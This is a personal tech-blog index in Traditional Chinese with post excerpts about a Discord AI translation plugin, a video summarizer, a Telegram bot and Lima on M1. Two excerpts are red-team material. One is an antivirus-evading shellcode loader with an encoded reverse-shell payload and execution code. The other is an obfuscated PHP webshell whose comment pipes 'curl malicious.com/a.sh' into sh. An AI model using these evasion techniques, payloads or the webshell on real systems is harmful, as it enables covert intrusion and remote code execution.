BabelChat 基於 AI 的 Discord 翻譯軟體

TL;DR:用 Claude Code Vibe Coding 了一個 Discord 翻譯插件,基於 Vencord,支援任何 OpenAI 相容 API,可以一鍵翻譯整串對話、自動翻譯新訊息、打字時先翻譯再送出。免費、開源、附一鍵安裝腳本。GitHub 現在無論資安、WEB 3 相關的社群都流行在 Discord 上開啟相關的 Server。因此我的 Discord 上常常充斥著多種不同的語言,每次遇到看不懂或懶得看的時候,我不是打開 Google 翻譯 / DeepL 就是打開 ChatGPT / Gemini,每天重複很多次,多到乾脆懶得看ㄌ。 網路上現在當然也有一些 Solution,例如基於 Better Discord 的 Translator Plugin 等,不過這些翻譯仍然是基於 Google 翻譯等 API,而且使用操作起來並沒有想像中直覺,沒辦法大規模的翻譯一整串的聊天訊息。或是直接安裝翻譯 Bot,但這又會驚動其他使用者,畢竟對我來說,潛水偷看才是最常發生的事 XD。 首先我們需要知道一下 Discord 預設其實是不允許安裝 Extension 的,社群為了解決這個問題,最簡單的方法當然就是使用瀏覽器,瀏覽器的翻譯外掛就有非常多的選擇,例如我最常用的 沈浸式翻譯 (Immersive Translate),不過非原生用起來總是沒有很舒服,所以我希望使用盡可能原生的方法在 Discord 中解決這個問題。另外一個我的需求是希望可以使用 AI 輔助翻譯,出現原文跟中文的對照,實現類似 沈浸式翻譯 的體驗。 Vencord 因此如果想要對原生的 Discord 動手腳的話,最常使用的工具叫做 Vencord,這邊需要知道 Discord 本質上是一個 Electron 的 APP,也就是包了一個 Chromium 在裡面跑 React,所以只要有辦法 Inject JS 的話就可以直接增加功能。不過直接改 Discord 的程式碼是一件很痛苦的事情,它經過了一系列 webpack 的打包壓縮等,每一次更新都需要重新逆向一次。 ...

2026-03-07 · 2 分鐘 · steven

TL;DW (An AI Support Video Summarizer)

Too Long; Don’t Watch 二二八連假,我整理了一下手邊囤積的各種,還沒時間或是懶得看的教學影片。包含了各大 Conference,或是路邊撿來的一些課程內容。點開這些影片,雖然內容跟標題都非常吸引人,不過常常出現奇怪的印度口音造成理解困難 QQ。而總計數百、數千小時的影片量應該是不可能在有生之年有辦法看完的,再加上許多影片並沒有提供原始的 PPT 檔案 QQ。 因此,我寫了一個腳本來透過 GPT 3 解決這個問題!透過 GPT3 的 AI 引擎來自動地幫每一頁的簡報進行 Summarize。 Repo 載點:https://github.com/stevenyu113228/TL-DW 在腳本中,首先我透過 ffmpeg 將影片截圖成每秒一張的照片,接下來使用 UQI (Universal image Quality Index) 區分出不同的圖片,並將圖片透過 Tesseract 進行 OCR 轉換成文字;同一時間,把影片的聲音軌給分離出來,並依照截圖的時間點進行切割,即可取得每一頁投影片所對應的語音內容,再把語音內容給送入 Google 的語音轉文字服務,取得每一頁講者的語音。 有了每一頁的 OCR 結果以及講者的語音轉文字,接下來就可以由 AI 出面了!我使用了目前最夯的 OpenAI GPT-3 text-davinci-003 模型,並使用以下咒語產出 Summary。 以下是一段課堂上投影片的語音轉文字,以及其對應講義的 OCR 資料,請忽視 OCR 的錯誤及簡報 header/footer。並使用繁體中文統整該頁面之內容,專有名詞部分請盡量保留使用英文\n\n語音轉文字:```\n{voice}\n```\n\n投影片 OCR:```{ocr}```\n\n統整結果: 最終,再把結果透過 Python 的 docx 輸出成完整報告,這樣下來只需要不到原始影片三分之一的時間,就可以讀完整份影片的內容,而如果逐字稿跟 AI 對於某段的總結有點奇怪時,也可以直接從報告上取得該頁面的時間,自己切回去影片重新查看! 不過 OpenAI 的 API 是需要付費的,但它有 18 美元的試用額度,我自己實驗下來,一個 30 分鐘的教學影片約需要花費 0.3~0.7 美元,我認為是非常划算 & 值得的! ...

2023-02-28 · 1 分鐘 · steven

利用 OpenAI GPT-3 寫一個 Telegram 聊天機器人 (Cloudflare Tunnel & GCP AppEngine)

最近 ChatGPT 很紅,想說可以試著把 OpenAI 的 API 給接上 Telegram 的群組來玩玩看,順便記錄一下 GCP 的 AppEngine Deploy 方法! 程式碼我放在:https://github.com/stevenyu113228/OpenAI-GPT-3-Telegram-Chatbot 效果 OpenAI 先到 https://beta.openai.com/account/api-keys 申請一組 API Token 在 Playground 上面隨意玩一下,複製他的 Example 來微調 import os import openai openai.api_key = os.getenv("OPENAI_API_KEY") start_sequence = "\nA:" restart_sequence = "\n\nQ: " response = openai.Completion.create( model="text-davinci-003", prompt="Q: ", temperature=0, max_tokens=100, top_p=1, frequency_penalty=0, presence_penalty=0, stop=["\n"] ) Telegram API 接下來到 Telegram 的 BotFather 來新增 Bot ...

2022-12-04 · 2 分鐘 · steven

利用 Lima 在 M1 執行 x86 的 Ubuntu

超簡單就可以直接在 M1 上有類似 WSL 體驗的 x86_64 Ubuntu , Lima 是透過 QEMU 進行執行的,所以嚴格來說他是一種虛擬機,不太像 WSL 是微軟大大的黑魔法。 安裝 brew install lima 準備一個 Yaml,這邊我是直接抄官方的 Example,並修改,增加第一行的 arch,根據官方文件表示,增加 arch 就能直接指定 CPU 型態 arch: "x86_64" images: # Try to use release-yyyyMMdd image if available. Note that release-yyyyMMdd will be removed after several months. - location: "https://cloud-images.ubuntu.com/releases/22.04/release-20220712/ubuntu-22.04-server-cloudimg-amd64.img" arch: "x86_64" digest: "sha256:86481acb9dbd62e3e93b49eb19a40c66c8aa07f07eff10af20ddf355a317e29f" - location: "https://cloud-images.ubuntu.com/releases/22.04/release-20220712/ubuntu-22.04-server-cloudimg-arm64.img" arch: "aarch64" digest: "sha256:e1ce033239f0038dca5ef09e582762ba0d0dfdedc1d329bc51bb0e9f5057af9d" # Fallback to the latest release image. # Hint: run `limactl prune` to invalidate the cache - location: "https://cloud-images.ubuntu.com/releases/22.04/release/ubuntu-22.04-server-cloudimg-amd64.img" arch: "x86_64" - location: "https://cloud-images.ubuntu.com/releases/22.04/release/ubuntu-22.04-server-cloudimg-arm64.img" arch: "aarch64" mounts: - location: "~" - location: "/tmp/lima" writable: true Build 環境 這邊的 ./ubuntu.yaml 就是前面準備的內容,而 –name 則是帶之後要給他的名字 ...

2022-08-21 · 1 分鐘 · steven

Meow Ware Loader - A Windows Shellcode Loader with Meow meow

一款會把 Shell Code 給轉成 meow meow 的 Shell Code 載入器。程式碼使用方式等請參考下方 GitHub 連結。 GitHub : https://github.com/stevenyu113228/Meow-Ware-Loader 現在,有許多的防毒軟體都會透過惡意程式碼的特徵 (例如 YARA RULE) 來進行捕捉,因此部分惡意程式會透過 Shell Code 形式,在執行時間再注入到記憶體中,透過這種方式來規避查緝。 不過現在也有許多防毒軟體開始支援掃描非執行檔的 Shell Code 程式,因此可以透過把 Shell Code 進行編碼,以規避查緝,並透過 Loader 來進行載入執行。 其實這個構想是我前天晚上睡到一半想到的,剛好想到說 Encode 通常大家都愛用什麼 Base64、ROT13 這類現有的編碼方式,而防毒軟體在已知的狀況下很有可能也可以進行自動解碼,因此我想到了自創的 Meow Encode 法。 Meow Encode Method 我們知道 Meow 總共有 4 個英文字母,而如果考量到小大寫的話,總共有 2^4 = 16 種組合。我們也可以直接把大小寫當作二進位來看,小寫是 0 、 大寫是 1。因此對照表如下 MeowBinaryDecimalHexadecimalmeow000000meoW000111meOw001022meOW001133mEow010044mEoW010155mEOw011066mEOW011177Meow100088MeoW100199MeOw101010aMeOW101111bMEow110012cMEoW110113dMEOw111014eMEOW111115f 因此,編碼後的 Shell Code 會長的類似這個樣子,下面為 msfvenom 的 shell_reverse_tcp 範例 MEOWMEowMEOwMeowMeowmeOwmeowmeowmeowmeowmeowmeowmEOwmeowMeowMeoWMEOwmEoWmeOWmeoWMEowmeowmEOwmEowMeowMeOWmEoWmeowmeOWmeowMeowMeOWmEoWmeOwmeowMEowMeowMeOWmEoWmeOwmeoWmEowMeowMeOWmEOWmeOwmeOwMeowmeowMEOWMeOWmEOWmEowMeOwmeOwmEOwmeOWmeoWMEOWMEOWMeOwMEowmeOWMEowmEOwmeoWmEOWMEowmeowmeOwmeOwMEowmeOwmeowMEowmeoWMEowMEOWmeowMEoWmeowmeoWMEowmEOWMEOwmeOwMEOWmeOwmEoWmeOwmEoWmEOWMeowMeOWmEoWmeOwmeoWmeowMeowMeOWmEowMeOwmeOWMEowMeowMeOWmEowMEowmeoWmeoWmEOWMeowMEOwmeOWmEowMeowmeowmeoWMEoWmeoWmEoWmeoWMeowMeOWmEoWMeoWmeOwmeowmeowmeoWMEoWmeOWMeowMeOWmEowMeoWmeoWMeowMEOwmeOWmeOWMeOwmEowMeoWMeowMeOWmeOWmEowMeowMeOWmeowmeoWMEoWmEOwmeOWmeoWMEOWMEOWMeOwMEowMEowmeoWMEowMEOWmeowMEoWmeowmeoWMEowmEOWmeOWMeowMEOwmeowmEOWmEoWMEOWmEOwmeowmeOWmEOWMEoWMEOWMeowmeOWMeOWmEOWMEoWmeOwmEowmEOWmEoWMEOwmEowmEoWMeowMeowMeOWmEoWMeowmeOwmEowmeowmeoWMEoWmeOWmEOwmEOwMeowMeOWmeowMEowmEowMeOWMeowMeOWmEoWMeowmeoWMEowmeowmeoWMEoWmeOWMeowMeOWmeowmEowMeowMeOWmeowmeoWMEoWmeowMeowMeoWmEowmEowmeOwmEowmeOwmEowmEoWMeOWmEoWMeOWmEOwmeoWmEoWMeoWmEoWMeOwmEoWmeoWMEOWMEOWMEOwmeowmEoWMEOWmEoWMEOWmEoWMeOwMeowMeOWmeoWmeOwMEOwMeOWMeowMEoWmEoWMEoWmEOwMeowmeOWmeOWmeOWmeOwmeowmeowmeowmeowmEOwMeowmEOWmEOWmEOWmeOWmeOWmeOwmEoWMEOWmEoWmEowmEOwMeowmEowMEowmEOWmEOWmeOwmEOwmeowmEOWMEOWMEOWMEoWmEoWMeOWMeowMeoWmeowmeowmeoWmeowmeowmeowmeowmeOwMeoWMEowmEowmEoWmEowmEoWmeowmEOwMeowmeOwMeoWMeowmeowmEOwMeOWmeowmeowMEOWMEOWMEoWmEoWmEoWmeowmEoWmeowmEoWmeowmEoWmeowmEowmeowmEoWmeowmEowmeowmEoWmeowmEOwMeowMEOwMeOwmeowMEOWMEoWMEOWMEOwmeowMEOWMEOWMEoWmEoWMeoWmEOWmEOwMeOwmeowmEoWmEOwMeowMEowmeowMeOwMeowmeOwMeowMeowmeoWmEOwMeowmeowmeOwmeowmeowmeOwmEowMEOwMEoWMeowMeoWMEOwmEOwmEOwMeOwmeoWmeowmEoWmEOwmEoWmEOWmEOwMeowMeoWMeoWMeOwmEoWmEOWmEowmEOwmeoWMEOWMEOWMEoWmEoWMeowmEoWMEowmeowmEOWmEowmeowMEowMEOWMEOWmEowMEOwmeowMeowmEOWmEoWMEOwMEowmEOwMeowMEOWmeowMeOWmEoWMeOwmeOwmEoWmEOwMEOWMEOWMEoWmEoWmEOwMeowmEOwmeOWmEOwMEoWmEOwmEowmeowmeowMeowMeoWMEOwmeOWmEoWmEOWmEoWmEOWmEoWmEOWmeOWmeoWMEOWmEOwmEOwMeOwmeoWmeOwmEoWMeoWmEoWmEOwMEOwmeOwMEOWMEoWmEOwmEOwMEowmEOWmEowmEowmeOwmEowmeOWMEowmeowmeoWmeowmeoWMeowMEoWmEowmEowmeOwmEowmeoWmeowMEowmEOwmeowmeowmEowmEowmEoWmEowmEoWmeowmEoWmEOwmEoWmEOwmEoWmEOwmEowmEOwmEoWmEOwmEowMEOwmEoWmEOwmEoWmEOwmEoWmeOWmEoWmEOwmEOwMeowmEOWMeoWMEowMEowmeOWMEOWMeowmEOwMEOWMEOWMEoWmEoWMeowMeoWMEOwmeowmEowMEOwmEoWmEOwmEowmEOwMEOWMEOWmeOWmeowmEOwMeowmeowMeowMeowmEOWmeoWMEoWmEOwmeowMEOWMEOWMEoWmEoWMeOWMeOWMEOWmeowMeOWmEoWMeOwmeOwmEoWmEOwmEOwMeowMeOwmEOwMeoWmEoWMeOWMEoWMeoWMEoWMEOWMEOWMEoWmEoWmeOWMEowmeowmEOwmEOWMEowmeowMeOwMeowmeowMEOWMeOWMEOwmeowmEOWmEoWmeowmEoWMeOWMeOWmEowmEOWmeoWmeOWmEOWmeOwmEOwMEOWmEOwMeOwmeowmeowmEoWmeOWMEOWMEOWMEoWm Shell Code Loader void *exec = VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); memcpy(exec, shellcode, memory_allocation); VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore); (*(void (*)()) exec)(); 這邊我參考抄了 DimopoulosElias 大大寫的 SimpleShellcodeInjector 程式碼,其中重點是下面這幾行 ...

2022-02-28 · 1 分鐘 · steven

簡單 PHP Webshell 免殺

原本想隨便寫一個 Webshell 測試使用,但一下就被 Defender 吃掉了 "str_ro" // "str_ro"."t13" => "str_rot13" // ("system")(("str_rot13")($e)) => system(str_rot13($e)) // system(str_rot13($e)) => system("curl malicious.com/a.sh | sh") 在 VirusTotal 上竟然 All pass ㄏ

2022-02-15 · 1 分鐘 · steven